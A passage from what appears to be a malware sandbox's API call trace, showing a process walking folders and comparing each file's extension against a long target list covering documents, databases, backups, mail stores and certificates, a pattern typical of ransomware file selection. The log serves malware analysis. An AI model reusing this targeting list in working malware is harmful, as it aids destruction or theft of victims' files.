(lpString1=".ini", lpString2=".xml") returned -1 [0086.944] lstrlenW (lpString=".iqy") returned 4 [0086.944] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0086.944] lstrlenW (lpString=".j2c") returned 4 [0086.944] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0086.944] lstrlenW (lpString=".j2k") returned 4 [0086.944] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0086.944] lstrlenW (lpString=".java") returned 5 [0086.944] lstrcmpiW (lpString1=".java", lpString2="o.xml") returned -1 [0086.945] lstrlenW (lpString=".jp2") returned 4 [0086.945] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0086.945] lstrlenW (lpString=".jpc") returned 4 [0086.945] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0086.945] lstrlenW (lpString=".jpe") returned 4 [0086.945] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0086.945] lstrlenW (lpString=".jpeg") returned 5 [0086.945] lstrcmpiW (lpString1=".jpeg", lpString2="o.xml") returned -1 [0086.945] lstrlenW (lpString=".jpf") returned 4 [0086.945] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0086.945] lstrlenW (lpString=".jpg") returned 4 [0086.945] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0086.945] lstrlenW (lpString=".jpx") returned 4 [0086.945] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0086.945] lstrlenW (lpString=".js") returned 3 [0086.945] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0086.945] lstrlenW (lpString=".jsf") returned 4 [0086.945] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0086.945] lstrlenW (lpString=".json") returned 5 [0086.945] lstrcmpiW (lpString1=".json", lpString2="o.xml") returned -1 [0086.945] lstrlenW (lpString=".jsp") returned 4 [0086.945] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0086.945] lstrlenW (lpString=".kdc") returned 4 [0086.945] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0086.945] lstrlenW (lpString=".kmz") returned 4 [0086.945] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0086.946] lstrlenW (lpString=".kwm") returned 4 [0086.946] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0086.946] lstrlenW (lpString=".lasso") returned 6 [0086.946] lstrcmpiW (lpString1=".lasso", lpString2="fo.xml") returned -1 [0086.946] lstrlenW (lpString=".lbi") returned 4 [0086.946] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0086.946] lstrlenW (lpString=".lgf") returned 4 [0086.946] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0086.946] lstrlenW (lpString=".lgp") returned 4 [0086.946] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0086.946] lstrlenW (lpString=".log") returned 4 [0086.946] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0086.946] lstrlenW (lpString=".m1v") returned 4 [0086.946] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0086.946] lstrlenW (lpString=".m4a") returned 4 [0086.946] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0086.946] lstrlenW (lpString=".m4v") returned 4 [0086.946] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0086.946] lstrlenW (lpString=".max") returned 4 [0086.946] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0086.946] lstrlenW (lpString=".md") returned 3 [0086.946] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0086.946] lstrlenW (lpString=".mda") returned 4 [0086.946] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0086.946] lstrlenW (lpString=".mdb") returned 4 [0086.947] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0086.947] lstrlenW (lpString=".mde") returned 4 [0086.947] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0086.947] lstrlenW (lpString=".mdf") returned 4 [0086.947] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0086.947] lstrlenW (lpString=".mdw") returned 4 [0086.947] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0086.947] lstrlenW (lpString=".mef") returned 4 [0086.947] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0086.947] lstrlenW (lpString=".mft") returned 4 [0086.947] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0086.947] lstrlenW (lpString=".mfw") returned 4 [0086.947] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0086.947] lstrlenW (lpString=".mht") returned 4 [0086.947] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0086.947] lstrlenW (lpString=".mhtml") returned 6 [0086.947] lstrcmpiW (lpString1=".mhtml", lpString2="fo.xml") returned -1 [0086.947] lstrlenW (lpString=".mka") returned 4 [0086.947] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0086.947] lstrlenW (lpString=".mkidx") returned 6 [0086.947] lstrcmpiW (lpString1=".mkidx", lpString2="fo.xml") returned -1 [0086.947] lstrlenW (lpString=".mkv") returned 4 [0086.947] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0086.947] lstrlenW (lpString=".mos") returned 4 [0086.947] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0086.948] lstrlenW (lpString=".mov") returned 4 [0086.948] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0086.948] lstrlenW (lpString=".mp3") returned 4 [0086.948] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0086.948] lstrlenW (lpString=".mp4") returned 4 [0086.948] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0086.948] lstrlenW (lpString=".mpeg") returned 5 [0086.948] lstrcmpiW (lpString1=".mpeg", lpString2="o.xml") returned -1 [0086.948] lstrlenW (lpString=".mpg") returned 4 [0086.948] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0086.948] lstrlenW (lpString=".mpv") returned 4 [0086.948] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0086.948] lstrlenW (lpString=".mrw") returned 4 [0086.948] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0086.948] lstrlenW (lpString=".msg") returned 4 [0086.948] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0086.948] lstrlenW (lpString=".mxl") returned 4 [0086.948] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0086.948] lstrlenW (lpString=".myd") returned 4 [0086.948] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0086.948] lstrlenW (lpString=".myi") returned 4 [0086.948] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0086.948] lstrlenW (lpString=".nef") returned 4 [0086.948] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0086.948] lstrlenW (lpString=".nrw") returned 4 [0086.948] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0086.949] lstrlenW (lpString=".obj") returned 4 [0086.949] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0086.949] lstrlenW (lpString=".odb") returned 4 [0086.949] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0086.949] lstrlenW (lpString=".odc") returned 4 [0086.949] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0086.949] lstrlenW (lpString=".odm") returned 4 [0086.949] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0086.949] lstrlenW (lpString=".odp") returned 4 [0086.949] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0086.949] lstrlenW (lpString=".ods") returned 4 [0086.949] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0086.949] lstrlenW (lpString=".oft") returned 4 [0086.949] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0086.949] lstrlenW (lpString=".one") returned 4 [0086.949] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0086.949] lstrlenW (lpString=".onepkg") returned 7 [0086.949] lstrcmpiW (lpString1=".onepkg", lpString2="nfo.xml") returned -1 [0086.949] lstrlenW (lpString=".onetoc2") returned 8 [0086.949] lstrcmpiW (lpString1=".onetoc2", lpString2="info.xml") returned -1 [0086.949] lstrlenW (lpString=".opt") returned 4 [0086.949] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0086.949] lstrlenW (lpString=".oqy") returned 4 [0086.949] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0086.949] lstrlenW (lpString=".orf") returned 4 [0086.949] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0086.950] lstrlenW (lpString=".p12") returned 4 [0086.950] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0086.950] lstrlenW (lpString=".p7b") returned 4 [0086.950] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0086.950] lstrlenW (lpString=".p7c") returned 4 [0086.950] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0086.950] lstrlenW (lpString=".pam") returned 4 [0086.950] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0086.950] lstrlenW (lpString=".pbm") returned 4 [0086.950] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0086.950] lstrlenW (lpString=".pct") returned 4 [0086.950] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0086.950] lstrlenW (lpString=".pcx") returned 4 [0086.950] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0086.950] lstrlenW (lpString=".pdd") returned 4 [0086.950] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0086.950] lstrlenW (lpString=".pdf") returned 4 [0086.950] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0086.950] lstrlenW (lpString=".pdp") returned 4 [0086.950] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0086.950] lstrlenW (lpString=".pef") returned 4 [0086.950] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0086.950] lstrlenW (lpString=".pem") returned 4 [0086.950] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0086.950] lstrlenW (lpString=".pff") returned 4 [0086.950] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0086.951] lstrlenW (lpString=".pfm") returned 4 [0086.951] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0086.951] lstrlenW (lpString=".pfx") returned 4 [0086.951] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0086.951] lstrlenW (lpString=".pgm") returned 4 [0086.951] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0086.951] lstrlenW (lpString=".php") returned 4 [0086.951] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0086.951] lstrlenW (lpString=".php3") returned 5 [0086.951] lstrcmpiW (lpString1=".php3", lpString2="o.xml") returned -1 [0086.951] lstrlenW (lpString=".php4") returned 5 [0086.951] lstrcmpiW (lpString1=".php4", lpString2="o.xml") returned -1 [0086.951] lstrlenW (lpString=".php5") returned 5 [0086.951] lstrcmpiW (lpString1=".php5", lpString2="o.xml") returned -1 [0086.951] lstrlenW (lpString=".phtml") returned 6 [0086.951] lstrcmpiW (lpString1=".phtml", lpString2="fo.xml") returned -1 [0086.951] lstrlenW (lpString=".pict") returned 5 [0086.951] lstrcmpiW (lpString1=".pict", lpString2="o.xml") returned -1 [0086.951] lstrlenW (lpString=".pl") returned 3 [0086.951] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0086.951] lstrlenW (lpString=".pls") returned 4 [0086.951] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0086.951] lstrlenW (lpString=".pm") returned 3 [0086.951] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0086.951] lstrlenW (lpString=".png") returned 4 [0086.951] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0086.951] lstrlenW (lpString=".pnm") returned 4 [0086.952] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0086.952] lstrlenW (lpString=".pot") returned 4 [0086.952] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0086.952] lstrlenW (lpString=".potm") returned 5 [0086.952] lstrcmpiW (lpString1=".potm", lpString2="o.xml") returned -1 [0086.952] lstrlenW (lpString=".potx") returned 5 [0086.952] lstrcmpiW (lpString1=".potx", lpString2="o.xml") returned -1 [0086.952] lstrlenW (lpString=".ppa") returned 4 [0086.952] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0086.952] lstrlenW (lpString=".ppam") returned 5 [0086.952] lstrcmpiW (lpString1=".ppam", lpString2="o.xml") returned -1 [0086.952] lstrlenW (lpString=".ppm") returned 4 [0086.952] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0086.952] lstrlenW (lpString=".pps") returned 4 [0086.952] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0086.952] lstrlenW (lpString=".ppsm") returned 5 [0086.952] lstrcmpiW (lpString1=".ppsm", lpString2="o.xml") returned -1 [0086.952] lstrlenW (lpString=".ppt") returned 4 [0086.952] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0086.952] lstrlenW (lpString=".pptm") returned 5 [0086.952] lstrcmpiW (lpString1=".pptm", lpString2="o.xml") returned -1 [0086.952] lstrlenW (lpString=".pptx") returned 5 [0086.952] lstrcmpiW (lpString1=".pptx", lpString2="o.xml") returned -1 [0086.952] lstrlenW (lpString=".prn") returned 4 [0086.952] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0086.952] lstrlenW (lpString=".ps") returned 3 [0086.953] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0086.953] lstrlenW (lpString=".psb") returned 4 [0086.953] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0086.953] lstrlenW (lpString=".psd") returned 4 [0086.953] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0086.953] lstrlenW (lpString=".pst") returned 4 [0086.953] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0086.953] lstrlenW (lpString=".ptx") returned 4 [0086.953] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0086.953] lstrlenW (lpString=".pub") returned 4 [0086.953] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0086.953] lstrlenW (lpString=".pwm") returned 4 [0086.953] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0086.953] lstrlenW (lpString=".pxr") returned 4 [0086.953] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0086.953] lstrlenW (lpString=".py") returned 3 [0086.953] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0086.953] lstrlenW (lpString=".qt") returned 3 [0086.953] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0086.953] lstrlenW (lpString=".r3d") returned 4 [0086.953] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0086.953] lstrlenW (lpString=".raf") returned 4 [0086.953] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0086.953] lstrlenW (lpString=".rar") returned 4 [0086.953] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0086.954] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0086.954] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0086.954] FindClose (in: hFindFile=0x4260710 | out: hFindFile=0x4260710) returned 1 [0086.954] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0086.954] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0086.954] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0086.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics") returned 30 [0086.954] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260810 [0087.195] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.195] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0087.196] lstrlenW (lpString="Print.ico") returned 9 [0087.196] lstrlenW (lpString=".1cd") returned 4 [0087.196] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0087.196] lstrlenW (lpString=".3ds") returned 4 [0087.196] lstrcmpiW (lpString1=".3ds", lpString2=".ico") returned -1 [0087.196] lstrlenW (lpString=".3fr") returned 4 [0087.196] lstrcmpiW (lpString1=".3fr", lpString2=".ico") returned -1 [0087.196] lstrlenW (lpString=".3g2") returned 4 [0087.196] lstrcmpiW (lpString1=".3g2", lpString2=".ico") returned -1 [0087.196] lstrlenW (lpString=".3gp") returned 4 [0087.196] lstrcmpiW (lpString1=".3gp", lpString2=".ico") returned -1 [0087.196] lstrlenW (lpString=".7z") returned 3 [0087.196] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0087.196] lstrlenW (lpString=".accda") returned 6 [0087.196] lstrcmpiW (lpString1=".accda", lpString2="nt.ico") returned -1 [0087.196] lstrlenW (lpString=".accdb") returned 6 [0087.196] lstrcmpiW (lpString1=".accdb", lpString2="nt.ico") returned -1 [0087.196] lstrlenW (lpString=".accdc") returned 6 [0087.196] lstrcmpiW (lpString1=".accdc", lpString2="nt.ico") returned -1 [0087.196] lstrlenW (lpString=".accde") returned 6 [0087.196] lstrcmpiW (lpString1=".accde", lpString2="nt.ico") returned -1 [0087.196] lstrlenW (lpString=".accdt") returned 6 [0087.196] lstrcmpiW (lpString1=".accdt", lpString2="nt.ico") returned -1 [0087.196] lstrlenW (lpString=".accdw") returned 6 [0087.196] lstrcmpiW (lpString1=".accdw", lpString2="nt.ico") returned -1 [0087.197] lstrlenW (lpString=".adb") returned 4 [0087.197] lstrcmpiW (lpString1=".adb", lpString2=".ico") returned -1 [0087.197] lstrlenW (lpString=".adp") returned 4 [0087.197] lstrcmpiW (lpString1=".adp", lpString2=".ico") returned -1 [0087.197] lstrlenW (lpString=".ai") returned 3 [0087.197] lstrcmpiW (lpString1=".ai", lpString2="ico") returned -1 [0087.197] lstrlenW (lpString=".ai3") returned 4 [0087.197] lstrcmpiW (lpString1=".ai3", lpString2=".ico") returned -1 [0087.197] lstrlenW (lpString=".ai4") returned 4 [0087.197] lstrcmpiW (lpString1=".ai4", lpString2=".ico") returned -1 [0087.197] lstrlenW (lpString=".ai5") returned 4 [0087.197] lstrcmpiW (lpString1=".ai5", lpString2=".ico") returned -1 [0087.197] lstrlenW (lpString=".ai6") returned 4 [0087.197] lstrcmpiW (lpString1=".ai6", lpString2=".ico") returned -1 [0087.197] lstrlenW (lpString=".ai7") returned 4 [0087.197] lstrcmpiW (lpString1=".ai7", lpString2=".ico") returned -1 [0087.197] lstrlenW (lpString=".ai8") returned 4 [0087.197] lstrcmpiW (lpString1=".ai8", lpString2=".ico") returned -1 [0087.197] lstrlenW (lpString=".anim") returned 5 [0087.197] lstrcmpiW (lpString1=".anim", lpString2="t.ico") returned -1 [0087.197] lstrlenW (lpString=".arw") returned 4 [0087.197] lstrcmpiW (lpString1=".arw", lpString2=".ico") returned -1 [0087.197] lstrlenW (lpString=".as") returned 3 [0087.197] lstrcmpiW (lpString1=".as", lpString2="ico") returned -1 [0087.197] lstrlenW (lpString=".asa") returned 4 [0087.197] lstrcmpiW (lpString1=".asa", lpString2=".ico") returned -1 [0087.197] lstrlenW (lpString=".asc") returned 4 [0087.197] lstrcmpiW (lpString1=".asc", lpString2=".ico") returned -1 [0087.198] lstrlenW (lpString=".ascx") returned 5 [0087.198] lstrcmpiW (lpString1=".ascx", lpString2="t.ico") returned -1 [0087.198] lstrlenW (lpString=".asm") returned 4 [0087.198] lstrcmpiW (lpString1=".asm", lpString2=".ico") returned -1 [0087.198] lstrlenW (lpString=".asmx") returned 5 [0087.198] lstrcmpiW (lpString1=".asmx", lpString2="t.ico") returned -1 [0087.198] lstrlenW (lpString=".asp") returned 4 [0087.198] lstrcmpiW (lpString1=".asp", lpString2=".ico") returned -1 [0087.198] lstrlenW (lpString=".aspx") returned 5 [0087.198] lstrcmpiW (lpString1=".aspx", lpString2="t.ico") returned -1 [0087.198] lstrlenW (lpString=".asr") returned 4 [0087.198] lstrcmpiW (lpString1=".asr", lpString2=".ico") returned -1 [0087.198] lstrlenW (lpString=".asx") returned 4 [0087.198] lstrcmpiW (lpString1=".asx", lpString2=".ico") returned -1 [0087.198] lstrlenW (lpString=".avi") returned 4 [0087.198] lstrcmpiW (lpString1=".avi", lpString2=".ico") returned -1 [0087.198] lstrlenW (lpString=".avs") returned 4 [0087.198] lstrcmpiW (lpString1=".avs", lpString2=".ico") returned -1 [0087.198] lstrlenW (lpString=".backup") returned 7 [0087.198] lstrcmpiW (lpString1=".backup", lpString2="int.ico") returned -1 [0087.198] lstrlenW (lpString=".bak") returned 4 [0087.198] lstrcmpiW (lpString1=".bak", lpString2=".ico") returned -1 [0087.198] lstrlenW (lpString=".bay") returned 4 [0087.198] lstrcmpiW (lpString1=".bay", lpString2=".ico") returned -1 [0087.198] lstrlenW (lpString=".bd") returned 3 [0087.198] lstrcmpiW (lpString1=".bd", lpString2="ico") returned -1 [0087.198] lstrlenW (lpString=".bin") returned 4 [0087.199] lstrcmpiW (lpString1=".bin", lpString2=".ico") returned -1 [0087.199] lstrlenW (lpString=".bmp") returned 4 [0087.199] lstrcmpiW (lpString1=".bmp", lpString2=".ico") returned -1 [0087.199] lstrlenW (lpString=".bz2") returned 4 [0087.199] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0087.199] lstrlenW (lpString=".c") returned 2 [0087.199] lstrcmpiW (lpString1=".c", lpString2="co") returned -1 [0087.199] lstrlenW (lpString=".cdr") returned 4 [0087.199] lstrcmpiW (lpString1=".cdr", lpString2=".ico") returned -1 [0087.199] lstrlenW (lpString=".cer") returned 4 [0087.199] lstrcmpiW (lpString1=".cer", lpString2=".ico") returned -1 [0087.199] lstrlenW (lpString=".cf") returned 3 [0087.199] lstrcmpiW (lpString1=".cf", lpString2="ico") returned -1 [0087.199] lstrlenW (lpString=".cfc") returned 4 [0087.199] lstrcmpiW (lpString1=".cfc", lpString2=".ico") returned -1 [0087.199] lstrlenW (lpString=".cfm") returned 4 [0087.199] lstrcmpiW (lpString1=".cfm", lpString2=".ico") returned -1 [0087.199] lstrlenW (lpString=".cfml") returned 5 [0087.199] lstrcmpiW (lpString1=".cfml", lpString2="t.ico") returned -1 [0087.199] lstrlenW (lpString=".cfu") returned 4 [0087.199] lstrcmpiW (lpString1=".cfu", lpString2=".ico") returned -1 [0087.199] lstrlenW (lpString=".chm") returned 4 [0087.199] lstrcmpiW (lpString1=".chm", lpString2=".ico") returned -1 [0087.199] lstrlenW (lpString=".cin") returned 4 [0087.199] lstrcmpiW (lpString1=".cin", lpString2=".ico") returned -1 [0087.199] lstrlenW (lpString=".class") returned 6 [0087.199] lstrcmpiW (lpString1=".class", lpString2="nt.ico") returned -1 [0087.200] lstrlenW (lpString=".clx") returned 4 [0087.200] lstrcmpiW (lpString1=".clx", lpString2=".ico") returned -1 [0087.200] lstrlenW (lpString=".config") returned 7 [0087.200] lstrcmpiW (lpString1=".config", lpString2="int.ico") returned -1 [0087.200] lstrlenW (lpString=".cpp") returned 4 [0087.200] lstrcmpiW (lpString1=".cpp", lpString2=".ico") returned -1 [0087.200] lstrlenW (lpString=".cr2") returned 4 [0087.200] lstrcmpiW (lpString1=".cr2", lpString2=".ico") returned -1 [0087.200] lstrlenW (lpString=".crt") returned 4 [0087.200] lstrcmpiW (lpString1=".crt", lpString2=".ico") returned -1 [0087.200] lstrlenW (lpString=".crw") returned 4 [0087.200] lstrcmpiW (lpString1=".crw", lpString2=".ico") returned -1 [0087.200] lstrlenW (lpString=".cs") returned 3 [0087.200] lstrcmpiW (lpString1=".cs", lpString2="ico") returned -1 [0087.200] lstrlenW (lpString=".css") returned 4 [0087.200] lstrcmpiW (lpString1=".css", lpString2=".ico") returned -1 [0087.200] lstrlenW (lpString=".csv") returned 4 [0087.200] lstrcmpiW (lpString1=".csv", lpString2=".ico") returned -1 [0087.200] lstrlenW (lpString=".cub") returned 4 [0087.200] lstrcmpiW (lpString1=".cub", lpString2=".ico") returned -1 [0087.200] lstrlenW (lpString=".dae") returned 4 [0087.200] lstrcmpiW (lpString1=".dae", lpString2=".ico") returned -1 [0087.200] lstrlenW (lpString=".dat") returned 4 [0087.200] lstrcmpiW (lpString1=".dat", lpString2=".ico") returned -1 [0087.200] lstrlenW (lpString=".db") returned 3 [0087.200] lstrcmpiW (lpString1=".db", lpString2="ico") returned -1 [0087.200] lstrlenW (lpString=".dbf") returned 4 [0087.201] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0087.201] lstrlenW (lpString=".dbx") returned 4 [0087.201] lstrcmpiW (lpString1=".dbx", lpString2=".ico") returned -1 [0087.201] lstrlenW (lpString=".dc3") returned 4 [0087.201] lstrcmpiW (lpString1=".dc3", lpString2=".ico") returned -1 [0087.201] lstrlenW (lpString=".dcm") returned 4 [0087.201] lstrcmpiW (lpString1=".dcm", lpString2=".ico") returned -1 [0087.201] lstrlenW (lpString=".dcr") returned 4 [0087.201] lstrcmpiW (lpString1=".dcr", lpString2=".ico") returned -1 [0087.201] lstrlenW (lpString=".der") returned 4 [0087.201] lstrcmpiW (lpString1=".der", lpString2=".ico") returned -1 [0087.201] lstrlenW (lpString=".dib") returned 4 [0087.201] lstrcmpiW (lpString1=".dib", lpString2=".ico") returned -1 [0087.201] lstrlenW (lpString=".dic") returned 4 [0087.201] lstrcmpiW (lpString1=".dic", lpString2=".ico") returned -1 [0087.201] lstrlenW (lpString=".dif") returned 4 [0087.201] lstrcmpiW (lpString1=".dif", lpString2=".ico") returned -1 [0087.201] lstrlenW (lpString=".divx") returned 5 [0087.201] lstrcmpiW (lpString1=".divx", lpString2="t.ico") returned -1 [0087.201] lstrlenW (lpString=".djvu") returned 5 [0087.201] lstrcmpiW (lpString1=".djvu", lpString2="t.ico") returned -1 [0087.201] lstrlenW 